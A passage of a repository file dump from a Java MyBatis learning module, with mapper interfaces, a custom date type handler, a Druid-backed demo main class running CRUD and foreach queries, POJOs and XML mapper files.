    "content": "package com.jun.plugin.mybatis;\n\nimport org.apache.ibatis.annotations.*;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Blog Mapper接口（测试类型转换器、对象foreach等）\n */\npublic interface BlogMapper {\n    // ==== 基础CRUD ====\n    @Insert(\"INSERT INTO blog (blog_title, content, publish_time, author_id) VALUES (#{blogTitle}, #{content}, #{publishTime}, #{authorId})\")\n    int insertBlog(Blog blog);\n\n    @Select(\"SELECT id, blog_title, content, publish_time, author_id FROM blog WHERE id = #{id}\")\n    Blog findBlogById(Integer id);\n\n    @Update(\"UPDATE blog SET blog_title = #{blogTitle}, content = #{content} WHERE id = #{id}\")\n    int updateBlog(Blog blog);\n\n    @Delete(\"DELETE FROM blog WHERE id = #{id}\")\n    int deleteBlogById(Integer id);\n\n    // ==== 类型转换器 ====\n    // 自定义日期转换器（查询，将字符串日期转为Date）\n    @Select(\"SELECT id, blog_title, content, publish_time, author_id FROM blog WHERE publish_time = #{publishTime}\")\n    Blog findBlogByPublishTime(@Param(\"publishTime\") Date publishTime);\n\n    // 新增带日期转换器\n    @Insert(\"INSERT INTO blog (blog_title, content, publish_time, author_id) VALUES (#{blogTitle}, #{content}, #{publishTime}, #{authorId})\")\n    int insertBlogWithConverter(Blog blog);\n\n    // ==== Map与foreach ====\n    // 输入参数为Map，返回Blog列表\n    @Select(\"<script>\" +\n            \"SELECT id, blog_title, content, publish_time, author_id FROM blog WHERE author_id IN \" +\n            \"<foreach collection='authorIds' item='aid' open='(' separator=',' close=')'>\" +\n            \"#{aid}\" +\n            \"</foreach>\" +\n            \"</script>\")\n    List<Blog> findBlogByMap(@Param(\"paramMap\") Map<String, Object> paramMap);\n\n    // 迭代对象数组（批量查询博客）\n    @Select(\"<script>\" +\n            \"SELECT id, blog_title, content, publish_time, author_id FROM blog WHERE id IN \" +\n            \"<foreach collection='blogArray' item='blog' open='(' separator=',' close=')'>\" +\n            \"#{blog.id}\" +\n            \"</foreach>\" +\n            \"</script>\")\n    List<Blog> findBlogByObjectArray(@Param(\"blogArray\") Blog[] blogArray);\n\n    // 迭代对象集合（批量新增博客）\n    @Insert(\"<script>\" +\n            \"INSERT INTO blog (blog_title, content, publish_time, author_id) VALUES \" +\n            \"<foreach collection='blogList' item='blog' separator=','>\" +\n            \"(#{blog.blogTitle}, #{blog.content}, #{blog.publishTime}, #{blog.authorId})\" +\n            \"</foreach>\" +\n            \"</script>\")\n    int batchInsertBlog(@Param(\"blogList\") List<Blog> blogList);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/DateTypeHandler.java",
    "content": "package com.jun.plugin.mybatis;\n\nimport org.apache.ibatis.type.BaseTypeHandler;\nimport org.apache.ibatis.type.JdbcType;\nimport org.apache.ibatis.type.MappedJdbcTypes;\nimport org.apache.ibatis.type.MappedTypes;\n\nimport java.sql.*;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n/**\n * 自定义日期类型转换器：处理Date与VARCHAR/ TIMESTAMP之间的转换\n * MappedTypes：指定Java类型\n * MappedJdbcTypes：指定JDBC类型\n */\n@MappedTypes({Date.class})\n@MappedJdbcTypes({JdbcType.VARCHAR, JdbcType.TIMESTAMP})\npublic class DateTypeHandler extends BaseTypeHandler<Date> {\n    // 日期格式化器\n    private static final SimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\n    // ==== 将Java类型转换为JDBC类型（写入数据库） ====\n    @Override\n    public void setNonNullParameter(PreparedStatement ps, int i, Date parameter, JdbcType jdbcType) throws SQLException {\n        ps.setString(i, sdf.format(parameter));\n    }\n\n    // ==== 将JDBC类型转换为Java类型（从数据库读取） ====\n    @Override\n    public Date getNullableResult(ResultSet rs, String columnName) throws SQLException {\n        String dateStr = rs.getString(columnName);\n        return convertStrToDate(dateStr);\n    }\n\n    @Override\n    public Date getNullableResult(ResultSet rs, int columnIndex) throws SQLException {\n        String dateStr = rs.getString(columnIndex);\n        return convertStrToDate(dateStr);\n    }\n\n    @Override\n    public Date getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {\n        String dateStr = cs.getString(columnIndex);\n        return convertStrToDate(dateStr);\n    }\n\n    // 辅助方法：字符串转Date\n    private Date convertStrToDate(String dateStr) {\n        if (dateStr == null || dateStr.trim().isEmpty()) {\n            return null;\n        }\n        try {\n            return sdf.parse(dateStr);\n        } catch (Exception e) {\n            throw new RuntimeException(\"日期转换失败\", e);\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/MyBatisDruidMainTest.java",
    "content": "package com.jun.plugin.mybatis;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport org.apache.ibatis.mapping.Environment;\nimport org.apache.ibatis.session.Configuration;\nimport org.apache.ibatis.session.SqlSession;\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.apache.ibatis.session.SqlSessionFactoryBuilder;\nimport org.apache.ibatis.transaction.TransactionFactory;\nimport org.apache.ibatis.transaction.jdbc.JdbcTransactionFactory;\n\nimport java.text.SimpleDateFormat;\nimport java.util.*;\n\n/**\n * 无任何配置文件 + 手动new Druid数据源 + 全量MyBatis操作示例\n */\npublic class MyBatisDruidMainTest {\n    // 全局SqlSessionFactory（单例）\n    private static SqlSessionFactory sqlSessionFactory;\n\n    // 静态代码块：初始化MyBatis环境（Druid数据源 + 配置）\n    static {\n        // 步骤1：手动构建Druid数据源\n        DruidDataSource druidDataSource = new DruidDataSource();\n        druidDataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n        druidDataSource.setUrl(\"jdbc:mysql://localhost:3307/db_test?useSSL=false&serverTimezone=UTC&characterEncoding=utf8\");\n        druidDataSource.setUsername(\"root\");\n        druidDataSource.setPassword(\"mysqladmin\");\n        // Druid连接池优化配置\n        druidDataSource.setInitialSize(5);\n        druidDataSource.setMaxActive(20);\n        druidDataSource.setMinIdle(3);\n\n        // 步骤2：构建MyBatis Environment\n        TransactionFactory transactionFactory = new JdbcTransactionFactory();\n        Environment environment = new Environment(\"development\", transactionFactory, druidDataSource);\n\n        // 步骤3：构建MyBatis Configuration（注册Mapper + 配置全局属性 + 注册类型转换器）\n        Configuration configuration = new Configuration(environment);\n        configuration.setMapUnderscoreToCamelCase(true); // 下划线转驼峰\n        configuration.addMapper(UserMapper.class); // 注册UserMapper\n        configuration.addMapper(BlogMapper.class); // 注册BlogMapper\n       configuration.getTypeHandlerRegistry().register(DateTypeHandler.class); // 注册自定义类型转换器\n\n        // 步骤4：构建SqlSessionFactory\n        sqlSessionFactory = new SqlSessionFactoryBuilder().build(configuration);\n    }\n\n    // ==================== 核心测试方法：main（调用所有示例） ====================\n    public static void main(String[] args) {\n        // 查询单个\n        queryOne();\n\n        // 查询多个\n        queryAll();\n\n        // 增加\n        add();\n\n        // 删除\n        delete();\n\n        // 修改\n        update();\n\n        // 带转换器查询\n        selectBlogByIdWithConverter();\n\n        // 带转换器新增\n        addBlogWithConverter();\n\n        // 使用map作为输入参数\n        selectBlogWithHashMap();\n\n        // 返回值是HashMap\n        resultByMap();\n\n        // 使用foreach 迭代List\n        listForeach();\n\n        // 使用foreach 迭代数组\n        array();\n\n        // 使用foreach 迭代对象数组\n        objectForeach();\n\n        // 使用foreach 迭代对象集合\n        batchInsertBlogList();\n    }\n\n    // ==================== 测试方法实现 ====================\n    /**\n     * 1. 查询单个（根据ID查询User）\n     */\n    private static void queryOne() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            User user = userMapper.findUserById(1);\n            System.out.println(\"===== 查询单个用户 =====\");\n            System.out.println(user == null ? \"用户不存在\" : user);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"单个查询失败\");\n        }\n    }\n\n    /**\n     * 2. 查询多个（查询所有User）\n     */\n    private static void queryAll() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            List<User> userList = userMapper.findAllUser();\n            System.out.println(\"\\n===== 查询所有用户 =====\");\n            userList.forEach(System.out::println);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"批量查询失败\");\n        }\n    }\n\n    /**\n     * 3. 增加（新增单个User）\n     */\n    private static void add() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            User newUser = new User(\"MyBatis Add Test\", 25, new Date());\n            int affectedRows = userMapper.insertUser(newUser);\n            System.out.println(\"\\n===== 新增用户 =====\");\n            System.out.println(\"新增受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"新增失败\");\n        }\n    }\n\n    /**\n     * 4. 删除（根据ID删除User）\n     */\n    private static void delete() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            int affectedRows = userMapper.deleteUserById(2); // 假设删除ID=2的用户\n            System.out.println(\"\\n===== 删除用户 =====\");\n            System.out.println(\"删除受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"删除失败\");\n        }\n    }\n\n    /**\n     * 5. 修改（更新User信息）\n     */\n    private static void update() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            User updateUser = new User();\n            updateUser.setId(1);\n            updateUser.setUserName(\"MyBatis Update Test\");\n            updateUser.setAge(29);\n            int affectedRows = userMapper.updateUser(updateUser);\n            System.out.println(\"\\n===== 修改用户 =====\");\n            System.out.println(\"修改受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"修改失败\");\n        }\n    }\n\n    /**\n     * 6. 带转换器查询（根据发布时间查询Blog）\n     */\n    private static void selectBlogByIdWithConverter() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            BlogMapper blogMapper = sqlSession.getMapper(BlogMapper.class);\n            Date publishTime = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").parse(\"2026-01-19 10:00:00\");\n            Blog blog = blogMapper.findBlogByPublishTime(publishTime);\n            System.out.println(\"\\n===== 带转换器查询博客 =====\");\n            System.out.println(blog == null ? \"博客不存在\" : blog);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"带转换器查询失败\");\n        }\n    }\n\n    /**\n     * 7. 带转换器新增（新增Blog并使用自定义日期转换器）\n     */\n    private static void addBlogWithConverter() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            BlogMapper blogMapper = sqlSession.getMapper(BlogMapper.class);\n            Blog newBlog = new Blog(\"转换器测试博客\", \"这是一篇带日期转换器的博客\", new Date(), 1);\n            int affectedRows = blogMapper.insertBlogWithConverter(newBlog);\n            System.out.println(\"\\n===== 带转换器新增博客 =====\");\n            System.out.println(\"新增受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"带转换器新增失败\");\n        }\n    }\n\n    /**\n     * 8. 使用Map作为输入参数（查询Blog）\n     */\n    private static void selectBlogWithHashMap() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            BlogMapper blogMapper = sqlSession.getMapper(BlogMapper.class);\n            Map<String, Object> paramMap = new HashMap<>();\n            List<Integer> authorIds = Arrays.asList(1, 2, 3);\n            paramMap.put(\"authorIds\", authorIds);\n            List<Blog> blogList = blogMapper.findBlogByMap(paramMap);\n            System.out.println(\"\\n===== Map参数查询博客 =====\");\n            blogList.forEach(System.out::println);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"Map参数查询失败\");\n        }\n    }\n\n    /**\n     * 9. 返回值是HashMap（查询User并返回Map）\n     */\n    private static void resultByMap() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            Map<String, Object> userMap = userMapper.findUserMapById(1);\n            System.out.println(\"\\n===== 返回值为HashMap =====\");\n            userMap.forEach((key, value) -> System.out.println(key + \"：\" + value));\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"HashMap返回失败\");\n        }\n    }\n\n    /**\n     * 10. 使用foreach 迭代List（批量查询User）\n     */\n    private static void listForeach() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            List<Integer> idList = Arrays.asList(1, 3, 5);\n            List<User> userList = userMapper.findUserListByIds(idList);\n            System.out.println(\"\\n===== foreach迭代List =====\");\n            userList.forEach(System.out::println);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"List foreach迭代失败\");\n        }\n    }\n\n    /**\n     * 11. 使用foreach 迭代数组（批量删除User）\n     */\n    private static void array() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            UserMapper userMapper = sqlSession.getMapper(UserMapper.class);\n            Integer[] idArray = new Integer[]{3, 4, 5};\n            int affectedRows = userMapper.deleteUserByArray(idArray);\n            System.out.println(\"\\n===== foreach迭代数组 =====\");\n            System.out.println(\"批量删除受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"数组 foreach迭代失败\");\n        }\n    }\n\n    /**\n     * 12. 使用foreach 迭代对象数组（批量查询Blog）\n     */\n    private static void objectForeach() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            BlogMapper blogMapper = sqlSession.getMapper(BlogMapper.class);\n            Blog[] blogArray = new Blog[2];\n            blogArray[0] = new Blog();\n            blogArray[0].setId(1);\n            blogArray[1] = new Blog();\n            blogArray[1].setId(2);\n            List<Blog> blogList = blogMapper.findBlogByObjectArray(blogArray);\n            System.out.println(\"\\n===== foreach迭代对象数组 =====\");\n            blogList.forEach(System.out::println);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"对象数组 foreach迭代失败\");\n        }\n    }\n\n    /**\n     * 13. 使用foreach 迭代对象集合（批量新增Blog）\n     */\n    private static void batchInsertBlogList() {\n        try (SqlSession sqlSession = sqlSessionFactory.openSession(true)) {\n            BlogMapper blogMapper = sqlSession.getMapper(BlogMapper.class);\n            List<Blog> blogList = new ArrayList<>();\n            blogList.add(new Blog(\"批量新增博客1\", \"批量插入内容1\", new Date(), 1));\n            blogList.add(new Blog(\"批量新增博客2\", \"批量插入内容2\", new Date(), 1));\n            int affectedRows = blogMapper.batchInsertBlog(blogList);\n            System.out.println(\"\\n===== foreach迭代对象集合 =====\");\n            System.out.println(\"批量新增博客受影响行数：\" + affectedRows);\n        } catch (Exception e) {\n            e.printStackTrace();\n            System.out.println(\"对象集合 foreach迭代失败\");\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/User.java",
    "content": "package com.jun.plugin.mybatis;\n\nimport java.util.Date;\n\n/**\n * MyBatis 实体类：对应数据库user表\n * 字段映射：\n * id → id（自增主键）\n * userName → user_name（数据库列）\n * age → age\n * createTime → create_time（数据库列）\n */\npublic class User {\n    // 对应数据库表字段\n    private Integer id;\n    private String userName; // 驼峰命名，适配MyBatis下划线转驼峰配置\n    private Integer age;\n    private Date createTime; // 对应数据库列create_time，存储创建时间\n\n    // 无参构造器（MyBatis反射实例化必需，不可缺少）\n    public User() {}\n\n    // 有参构造器（方便测试，快速创建用户对象，不含id（自增））\n    public User(String userName, Integer age, Date createTime) {\n        this.userName = userName;\n        this.age = age;\n        this.createTime = createTime;\n    }\n\n    // 全量getter/setter方法（MyBatis结果映射、属性赋值必需，不可缺少）\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getUserName() {\n        return userName;\n    }\n\n    public void setUserName(String userName) {\n        this.userName = userName;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n\n    public Date getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(Date createTime) {\n        this.createTime = createTime;\n    }\n\n    // toString()方法（方便控制台打印对象信息，查看操作结果）\n    @Override\n    public String toString() {\n        return \"User{\" +\n                \"id=\" + id +\n                \", userName='\" + userName + '\\'' +\n                \", age=\" + age +\n                \", createTime=\" + createTime +\n                '}';\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/UserMapper.java",
    "content": "package com.jun.plugin.mybatis;\n\nimport org.apache.ibatis.annotations.*;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * User Mapper接口（包含基础CRUD、Map参数/返回值、foreach等）\n */\npublic interface UserMapper {\n    // ==== 基础CRUD ====\n    // 新增\n    @Insert(\"INSERT INTO user (user_name, age, create_time) VALUES (#{userName}, #{age}, #{createTime})\")\n    int insertUser(User user);\n\n    // 单个查询（根据ID）\n    @Select(\"SELECT id, user_name, age, create_time FROM user WHERE id = #{id}\")\n    User findUserById(Integer id);\n\n    // 批量查询（所有用户）\n    @Select(\"SELECT id, user_name, age, create_time FROM user ORDER BY id DESC\")\n    List<User> findAllUser();\n\n    // 修改（根据ID更新用户名和年龄）\n    @Update(\"UPDATE user SET user_name = #{userName}, age = #{age} WHERE id = #{id}\")\n    int updateUser(User user);\n\n    // 删除（根据ID）\n    @Delete(\"DELETE FROM user WHERE id = #{id}\")\n    int deleteUserById(Integer id);\n\n    // ==== Map相关 ====\n    // 输入参数为Map（查询用户）\n    @Select(\"SELECT id, user_name, age, create_time FROM user WHERE user_name = #{userName} AND age = #{age}\")\n    User findUserByMap(Map<String, Object> paramMap);\n\n    // 返回值为HashMap（根据ID查询，键为数据库列名）\n    @Select(\"SELECT id, user_name, age, create_time FROM user WHERE id = #{id}\")\n    Map<String, Object> findUserMapById(Integer id);\n\n    // ==== foreach迭代 ====\n    // foreach 迭代List（批量查询用户）\n    @Select(\"<script>\" +\n            \"SELECT id, user_name, age, create_time FROM user WHERE id IN \" +\n            \"<foreach collection='idList' item='id' open='(' separator=',' close=')'>\" +\n            \"#{id}\" +\n            \"</foreach>\" +\n            \"</script>\")\n    List<User> findUserListByIds(@Param(\"idList\") List<Integer> idList);\n\n    // foreach 迭代数组（批量删除用户）\n    @Delete(\"<script>\" +\n            \"DELETE FROM user WHERE id IN \" +\n            \"<foreach collection='idArray' item='id' open='(' separator=',' close=')'>\" +\n            \"#{id}\" +\n            \"</foreach>\" +\n            \"</script>\")\n    int deleteUserByArray(@Param(\"idArray\") Integer[] idArray);\n\n    // foreach 迭代对象数组（批量新增用户）\n    @Insert(\"<script>\" +\n            \"INSERT INTO user (user_name, age, create_time) VALUES \" +\n            \"<foreach collection='userArray' item='user' separator=','>\" +\n            \"(#{user.userName}, #{user.age}, #{user.createTime})\" +\n            \"</foreach>\" +\n            \"</script>\")\n    int batchInsertUser(@Param(\"userArray\") User[] userArray);\n\n    // foreach 迭代对象集合（批量查询博客关联用户，复用User示例）\n    @Select(\"<script>\" +\n            \"SELECT id, user_name, age, create_time FROM user WHERE author_id IN \" +\n            \"<foreach collection='blogList' item='blog' open='(' separator=',' close=')'>\" +\n            \"#{blog.authorId}\" +\n            \"</foreach>\" +\n            \"</script>\")\n    List<User> findUserByBlogList(@Param(\"blogList\") List<Blog> blogList);\n}"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/Grade.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/23 18:04\n */\n@Data\npublic class Grade {\n    //id\n    private List<Integer> ids;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/IBlogMapper.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 16:18\n */\npublic interface IBlogMapper {\n    /* 约定\n     省略statement 根据约定直接定位出sql语句\n     方法名和映射文件中的id值一样\n     方法的输入参数和映射文件中parameterType保持一致\n     方法的返回值和mapper.xml文件中的resultType类型一致\n\n     调用到该方法就会自动映射到该标签\n     namespace的值保证了 接口---xxxMapper之间的对应\n     保证了 我们在操作接口中的某一个方法的时候可以匹配到某一个mapper中的sql语句\n     mapper接口不需要实现类 因为只需要找到对应的sql就ok\n     */\n    List<blog>  queryAll();\n\n    int addBlog(blog blog);\n\n    int addBlogWithConverter(blog blog);\n\n    int deleteBlogById(int id);\n\n    int updateBlog(blog blog);\n\n    blog selectBlogById(int id);\n\n    blog selectBlogByIdWithConverter(int id);\n\n    List<blog> selectBlogWithHashMap(HashMap<String,Object> map);\n\n    List<HashMap <String,Object>> ResultByMap();\n\n    List<blog> foreach(Grade grade);\n\n    List<blog> arrayForeach(int[] ids2);\n\n    List<blog> listForeach(List<Integer> ids);\n\n    List<blog> objectForeach(blog[] blogs);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/blog.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.util.Date;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 14:20\n */\n@Data\n@AllArgsConstructor\n@NoArgsConstructor\npublic class blog {\n    private String id;\n    private String title;\n    private String authOr;\n    private String create_time;\n    private Integer views;\n    private Boolean sex;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/blogMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper\n        PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<!--该mapper.xml映射文件的唯一标识-->\n<mapper namespace=\"com.jun.plugin.mybatis.pojo.blogMapper\">\n\n\n<!--    输入参数是基本类型 占位符号可以是任意的-->\n    <select id=\"selectBlogById\" resultType=\"com.jun.plugin.mybatis.pojo.blog\" parameterType=\"int\">\n      select * from blog where id = #{id}\n    </select>\n\n    <select id=\"time\" resultType=\"String\" parameterType=\"int\">\n      select create_time from blog where id = #{id}\n    </select>\n\n    <select id=\"queryAll\" resultType=\"com.jun.plugin.mybatis.pojo.blog\">\n      select * from blog\n    </select>\n\n\n    <insert id=\"addBlog\" parameterType=\"com.jun.plugin.mybatis.pojo.blog\">\n       insert into blog(id,title,author,create_time,views) values(#{id},#{title},#{authOr},#{create_time},#{views})\n    </insert>\n\n\n    <delete id=\"deleteBlogById\" parameterType=\"int\">\n        delete from blog where id =#{id}\n    </delete>\n\n    <update id=\"updateBlog\" parameterType=\"com.jun.plugin.mybatis.pojo.blog\">\n        update blog set title=#{title},authoR=#{authOr},create_time=#{create_time},views=#{views} where id =#{id}\n    </update>\n\n\n\n</mapper>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/blogMapperInterface.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper\n        PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<!--该mapper.xml映射文件的唯一标识-->\n<mapper namespace=\"com.jun.plugin.mybatis.pojo.IBlogMapper\">\n\n\n    <select id=\"selectBlogWithHashMap\" resultType=\"blog\" parameterType=\"HashMap\">\n      select * from blog where id = #{id}\n    </select>\n<!--    输入参数是基本类型 占位符号可以是任意的-->\n    <select id=\"selectBlogById\" resultType=\"com.jun.plugin.mybatis.pojo.blog\" parameterType=\"int\">\n      select * from blog where id = #{id}\n    </select>\n<!--  使用类型转换器\n     如果类中的属性和表中的字段类型和名字可以合理识别 (String 和 varchar ) 那么就可以使用resultType\n     否则 resultMap\n-->\n    <select id=\"selectBlogByIdWithConverter\" resultMap=\"converter\" parameterType=\"int\">\n       select * from blog where id = #{id}\n    </select>\n\n    <resultMap id=\"converter\" type=\"blog\">\n        <id property=\"id\" column=\"id\"/>\n        <result property=\"title\" column=\"title\"/>\n        <result property=\"authOr\" column=\"author\"/>\n        <result property=\"create_time\" column=\"create_time\"/>\n        <result property=\"views\" column=\"views\"/>\n        <result property=\"sex\" column=\"sex\" javaType=\"boolean\" jdbcType=\"INTEGER\"/>\n    </resultMap>\n\n    <select id=\"time\" resultType=\"String\" parameterType=\"int\">\n      select create_time from blog where id = #{id}\n    </select>\n\n    <select id=\"queryAll\" resultType=\"com.jun.plugin.mybatis.pojo.blog\">\n      select * from blog\n    </select>\n\n\n    <insert id=\"addBlog\" parameterType=\"com.jun.plugin.mybatis.pojo.blog\">\n       insert into blog(id,title,author,create_time,views) values(#{id},#{title},#{authOr},#{create_time},#{views})\n    </insert>\n\n    <insert id=\"addBlogWithConverter\" parameterType=\"com.jun.plugin.mybatis.pojo.blog\">\n       insert into blog(id,title,author,create_time,views,sex) values(#{id},#{title},#{authOr},#{create_time},#{views},#{sex, javaType=boolean,jdbcType=INTEGER})\n    </insert>\n\n    <delete id=\"deleteBlogById\" parameterType=\"int\">\n        delete from blog where id =#{id}\n    </delete>\n\n    <update id=\"updateBlog\" parameterType=\"com.jun.plugin.mybatis.pojo.blog\">\n        update blog set title=#{title},authoR=#{authOr},create_time=#{create_time},views=#{views} where id =#{id}\n    </update>\n<!--    输出类型为HashMap 通过别名作为Map的key-->\n    <select id=\"ResultByMap\" resultType=\"HashMap\">\n       select Id \"ID\",author \"TITLE\" from blog\n    </select>\n<!--    迭代器-->\n    <select id=\"foreach\" parameterType=\"grade\" resultType=\"blog\">\n        select * from blog\n        <where>\n           <if test=\"ids!=null and ids.size>0\">\n               <foreach collection=\"ids\" open=\" and id in (\" close=\")\" item=\"id\" separator=\",\">\n                   #{id}\n               </foreach>\n           </if>\n        </where>\n    </select>\n\n    <select id=\"arrayForeach\" parameterType=\"int[]\" resultType=\"blog\">\n        select * from blog\n        <where>\n            <if test=\"array!=null and array.length>0\">\n                <foreach collection=\"array\" open=\" and id in (\" close=\")\" item=\"id\" separator=\",\">\n                    #{id}\n                </foreach>\n            </if>\n        </where>\n    </select>\n\n    <select id=\"listForeach\" parameterType=\"list\" resultType=\"blog\">\n        select * from blog\n        <where>\n            <if test=\"list!=null and list.size>0\">\n                <foreach collection=\"list\" open=\" and id in (\" close=\")\" item=\"id\" separator=\",\">\n                    #{id}\n                </foreach>\n            </if>\n        </where>\n    </select>\n\n    <select id=\"objectForeach\" parameterType=\"Object[]\" resultType=\"blog\">\n        select * from blog\n        <where>\n            <if test=\"array!=null and array.length>0\">\n                <foreach collection=\"array\" open=\" and id in (\" close=\")\" item=\"blog\" separator=\",\">\n                    #{blog.title}\n                </foreach>\n            </if>\n        </where>\n    </select>\n\n</mapper>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/student.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 17:11\n */\n@Data\n@AllArgsConstructor\n@NoArgsConstructor\npublic class student {\n    private Integer id;\n    private String name;\n    private Boolean sex; //true男 false女\n    private String classId;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/studentClass.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/23 21:08\n */\n@Data\npublic class studentClass {\n    private Integer classId;\n    private String className;\n    //通过该字段将student和studentClass之间建立起来联系\n    private List<student> students;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/studentClassMapper.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/23 21:11\n */\npublic interface studentClassMapper {\n    studentClass querystudentAndClassLazy(int classId);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/studentClassMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper\n        PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<!--该mapper.xml映射文件的唯一标识-->\n<mapper namespace=\"com.jun.plugin.mybatis.pojo.studentClassMapper\">\n\n\n\n    <!--    一对多   延迟加载-->\n    <select id=\"querystudentAndClassLazy\" parameterType=\"int\" resultMap=\"collectionQueryLazy\">\n--                 先查询班级 再查询班级的学生\n         select c.* from  studentclass c where class_id = #{classId}\n    </select>\n\n    <resultMap id=\"collectionQueryLazy\" type=\"studentClass\">\n        <id property=\"classId\" column=\"class_id\"/>\n        <result property=\"className\" column=\"class_name\" />\n        <!--        属性类型 javaType 元素类型 ofType\n                   再查询班级对应的学生       -->\n        <collection property=\"students\"  ofType=\"student\" select=\"com.jun.plugin.mybatis.pojo.studentMapper.queryAllStudent\" column=\"class_id\"></collection>\n    </resultMap>\n\n</mapper>"
  },
  {
